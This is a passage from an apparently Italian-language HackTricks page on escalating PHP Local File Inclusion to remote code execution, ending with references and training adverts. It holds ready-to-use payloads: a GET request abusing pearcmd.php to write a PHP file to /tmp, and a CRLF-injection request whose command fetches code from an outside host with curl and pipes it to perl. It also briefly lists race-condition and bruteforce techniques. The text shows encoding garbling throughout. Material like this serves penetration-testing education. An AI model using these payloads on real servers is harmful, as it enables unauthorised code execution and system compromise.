As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, itâs possible to pass arguments to the script via the URL because itâs indicated that if a URL param doesnât have an =, it should be used as an argument. See also watchTowrâs write-up and Orange Tsaiâs âConfusion Attacksâ.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Quanto segue sfrutta una vuln CRLF per ottenere RCE (da here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Tramite phpinfo() (file_uploads = on)
Se trovi una Local File Inclusion e un file che espone phpinfo() con file_uploads = on puoi ottenere RCE:
Tramite compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Se trovi una Local File Inclusion e puoi esfiltrare il percorso del file temporaneo MA il server sta controllando se il file da includere contiene i marker PHP, puoi provare a bypassare quel controllo con questa Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Tramite eternal waiting + bruteforce
Se puoi abusare della LFI per upload temporary files e far hang lâesecuzione PHP, potresti poi effettuare un bruteforce sui nomi dei file per ore per trovare il file temporaneo:
Per Fatal Error
Se includi uno qualsiasi dei file /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Devi includere lo stesso file 2 volte per provocare quellâerrore).
Non so quanto sia utile ma potrebbe esserlo.
Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati.
.png)
Riferimenti
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
watchTowr â We need to talk about PHP (pearcmd.php gadget)
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
Positive Technologies â Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


